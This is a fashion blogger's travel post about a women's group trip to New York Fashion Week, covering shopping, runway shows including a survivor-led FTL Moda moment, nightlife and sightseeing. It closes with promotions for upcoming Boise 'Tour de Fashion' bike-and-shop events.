Our crew loved coming home each evening to our bright, posh rooms at the Innside New York Hotel by Melia! It was such a calm oasis in the midst of a very busy city; no construction, no crowds, super central location, and easy to catch a cab to anywhere in town. On our first night in town, we met for cocktails, got settled in, and then headed to Times Square for an unforgettable experience in the heart of NYC! Did you know you can shop there all night long? Sephora at 2:00am is a very unique experience! Excuse me, but which lipstick makes me look like Kylie?style spy girl nyc times square

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Where We Shoppedstyle spy girl nycfw 2017 tiffanys

Where do I begin?? Our goal on this trip was to be inspired by the fashion shows and street style around us, and explore all of the places we don’t have access to in Boise. We started off with a bang, piling into a limousine for a jaunt to Tiffany & Co. on 5th Avenue in downtown New York, where we were served champagne and guided on a private tour of  this historic flagship store! We had such a blast, oohing and aahing over all the gorgeous sparkly things, and appreciating the heritage of this iconic American brand.

style spy girl shopping nyc 2016 chanelThroughout the rest of the trip, we explored a wide variety of shopping options, including Bergdorf Goodman (with a Chanel apartment pop-up inside!), Saks Off Fifth, Chanel (of course!!!), as well as street shopping in NOLA, Little Italy, Chinatown, and really cool consignment stores around the area, too.

style spy girl shopping nyc 2016Special thanks to Eleven Consignment Boutique for throwing our crew a private shopping party in Brooklyn!!! 

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The NYFW Showsstyle spy girl nyc fashion week macys show

Of course, the heart and soul of a New York Fashion Week Getaway has to be FASHION SHOWS! We had a blast at two major runway shows on this trip, both of which blew our minds: Macy’s Fashion’s Front Row show (above) starring Arianna Grande, Iris Apfel, Betsey Johnson, and more… and the FTL Moda Show (below) that challenged our hearts and our views of what beauty truly looks like.

First up: Macy’s! This show had everything, from Flo Rida welcoming us to his house, to light-up Samsung wrist bracelets that sparkled and flashed to the music, and Arianna Grande rocking our socks off with her incredible voice and energy. Everyone got swag bags that included whimsical glasses inspired by fashion icon Iris Apfel, along with the Samsung bracelets and other fun tidbits. The fashions rocked, and the show was non-stop high-velocity glam from start to finish!

My personal favorite legendary designer Betsey Johnson wowed us all, when she followed her new collection for Macy’s with a frolicking, joyful sashay down the runway herself, bedecked in stripes, bright colors, and her signature tutu. Jaws dropped and the audience exploded, as she threw herself into an exuberant cartwheel in the middle of the runway, her traditional grand finale move! The 74-year old rocking designer ends each of her shows this way, as a tribute to her personal battle with breast cancer, and commitment to live each day of her life to the fullest!

FTL MODA style spy girl show

Our next major show was for FTL Moda, featuring a variety of stunning and inspiring fashion designers! The entire evening was about diversity, culture, identity, beauty, and courage. We saw half-veiled faces, live snakes (!), and one brave and stunning model who was missing part of an arm, but used the other to literally carry the word “RESPECT” with her down the runway. That moment was deeply moving in itself, but nothing could prepare us for what came next…

Reshma runway image
Reshma Qureshi via Elle Magazine

Acid attack survivor Reshma Bano Qureshi, who was only 17 when a vicious attack by her own brother-in-law destroyed her left eye and half her face, stepped out onto the runway. She’s 19 now, and the second she appeared, bedecked in a white gown by Mumbai-based designer Archana Kochhar, all the air left the room… I can’t speak for every woman, only myself, but my heart shattered in a million pieces when she appeared! In that moment, she stood facing the world, with tears in her eyes and scars tracing the grooves of her skin… In that moment, she was every one of us; every woman who has ever been a victim, or been afraid, or suffered injustice… In that moment, she squared her shoulders and marched down the runway, towards the crowds and flashing lights, and showed us all what true courage looks like. And our hearts marched with her.

Reshma, you are my hero!
Click here to read more about her campaign to help other women like herself here:
MAKE LOVE NOT SCARS!

 

Girls’ Nights Out!girls nights out nyc

One of our favorite things about adventuring in New York was the nightlife. We adore our walkable downtown Boise, but one thing that’s lacking back home is rooftop nightclubs. Trust me; get a group of women standing on an open high-rise balcony overlooking a glittering Empire State Building and all the lights & sounds of NYC, and magic will happen! Every place we went was stunning and unique, from 230 Fifth Avenue to The Skylark. Some nights we walked, some we Ubered, and a couple we ended up deciding a limo was the best way to travel! Whatever the reason, or the destination, we all had a BLAST. Thank you NYC for taking such good care of us!

 

The Sightseeingsightseeing nyc 1

Of course, you haven’t seen The Big Apple, until you’ve walked in Central Park. With it’s acres of grassy knolls, regal trees, ponds, pathways, and explorers, it’s easy to see why this place is considered such a magical oasis to its residents. Once you’re in it, the Park is far bigger than you realize! We loved lunch in the center, at The Loeb Boathouse, right on the water. While we waited for our main course little turtles paddled up to the edge of our feet, vying with huge fish for dropped crumbs! Most of the time, the fish won.

We had a great adventure aboard the Hornblower sightseeing cruise as well, learning about the history of this gorgeous city from it’s stunning bay. We saw the Brooklyn Bridge, Empire State Building, World Trade Center 9/11 Memorial, and of course the Statue of Liberty. All around us were visitors from across the globe, gathering to gaze upon her welcoming face and outstretched arm! We had no idea, mere months ago, all of the changes that a newly-elected president would soon enact on our nation’s borders… For us in that moment, as we stood contemplating those who came before us – our grandfathers and grandmothers from every nation of the world who came to these shores seeking freedom and a better life – we were deeply proud to be Americans. ❤

 

statue of liberty ammophotog

In all, we had 6 days in NYC, and we seized every opportunity to make the most of it! At the end of the week we were exhausted, but headed home with our bags packed with fashion souvenirs, our cameras full of once-in-a-lifetime selfies, and a new sisterhood of friends forged by our shared New York minute.

Until the next adventure, ladies, cheers and hugs!!!
XOXO,
Tanya

Do YOU want to join the Style Spy Girl #TravelPosse on our next adventure?
It’s open an any and every woman who’d like to adventure with us!
Click below to find out about our next epic trip:
AMSTERDAM AND PARIS, SUMMER 2017!!!

Coming Soon: Boise’s 1st Tour de Fashion!

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Spy Girl, the Downtown Boise Association, and Boise GreenBike
team up for Tour de Fashion!

Tour-de-Fashion-square 2

Boise’s downtown core is constantly changing and expanding! Did you know we have over 20 locally-owned boutiques, gift shops, and clothing stores within walking distance of each other? If you love fashion, fitness, and exploration, come join us this Spring and Summer for four very special Tour de Fashion events!

Local fashion blogger Tanya Carnahan (StyleSpyGirl.com), the Downtown Boise Association, and Boise GreenBike are joining forces to present a BIKE TOUR that’s totally new to Idaho. Make new friends, discover new shops and trends, and expand your knowledge of our amazing downtown core!

Each Tour de Fashion bike event in Downtown Boise will target 5-6 rad local businesses that are new to town, or might be new to you! A schedule will be posted of each stop; we will bike, shop, explore, and end with an optional Sips & Bites experience you won’t soon forget. Bring your girlfriends, and add your bike basket to fill with fun & unique fashion purchases along the way. Must be 21 and over to attend these tours.

Time: 1:45pm Saturday, April 8th / May 6th / June 3rd / July 8th, 2017
Location: Meet at Boise’s iconic Post Office, downtown on Bannock & 8th.
Cost: $25 if you have your own bike, $35 if you plan to utilize a BoiseGreen Bike.

Click here to reserve your spot: https://stylespygirl.maxcheckout.com/

What’s included: Guided shopping & exploring with local fashion blogger Tanya Carnahan / Exclusive deals and discounts in our selected boutiques / Photo stops at iconic downtown landmarks along the way / Themed Sips & Bites available for purchase / A unique experience with other fashion-loving and adventurous women!

All tours will have a unique theme, beginning with shopping and ending with optional cocktails and treats:

April 8th: Tour de Fashion, Boho Chic ~ Trendy & bohemian hotspots for free spirits!

May 6th: Tour de Fashion, Local Chic ~ Fashion love for Boise’s iconic local fashion legends!

June 3rd: Tour de Fashion, Jetsetter Chic ~ For the girl-on-the-go who always travels in style!

July 8th: Tour de Fashion, Tres Chic ~ For the refined ingenue who loves classic fashion!

Events will be posted for each date, on Style Spy Girl’s Facebook page.
Please like and follow us here to be first on the list: www.facebook.com/MyStyleSpyGirl.

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